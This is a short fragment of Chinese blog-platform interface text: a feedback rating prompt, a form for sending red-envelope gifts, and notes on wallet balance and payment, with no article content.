“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值